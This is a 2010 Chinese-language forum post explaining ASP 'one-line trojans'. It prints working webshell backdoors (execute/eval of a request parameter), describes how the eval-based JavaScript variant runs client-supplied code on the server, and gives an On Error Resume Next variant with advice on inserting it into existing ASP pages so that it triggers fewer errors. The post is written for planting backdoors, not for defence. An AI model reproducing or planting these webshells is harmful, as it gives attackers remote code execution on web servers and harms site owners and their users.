以文本方式查看主题

-  咿思舞论坛  (http://bbs.145829.com/index.asp)
--  『网站资源』  (http://bbs.145829.com/list.asp?boardid=8)
----  ASP一句话木马详解  (http://bbs.145829.com/dispbbs.asp?boardid=8&id=656)

--  作者:admin
--  发布时间:2010/10/2 1:25:14
--  ASP一句话木马详解
一句话木马,它是基于B/S结构的。当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。)
一句话木马服务端原型:
<%execute request("value")%>
<%eval request("value")%>
(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)
原理:
首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form(\'#\')+\'\'这句代码,Request.form(\'#\')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分.
经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
  Script error detected at line 1.
Source line: execute request("jinmozhe")
Description: 类型不匹配: \'execute\'
这个如何解决呢?
想出了一个好办法,只要用"eval"替换掉"execute"服务端,就不会出错了!
呵呵,下面来说说变形后的2句话后门木马了。
变形后:<%On Error Resume Next execute request("value")%>
学过ASP或者VB的朋友应该都知道On Error Resume Next的意思吧,(遇到错误不停止,向下运行别的程序)
这样写的好处在于,访问被插入该页面的时候,很少会出现异常,而用一句话的时候就不是这样了,都是会出现异常滴....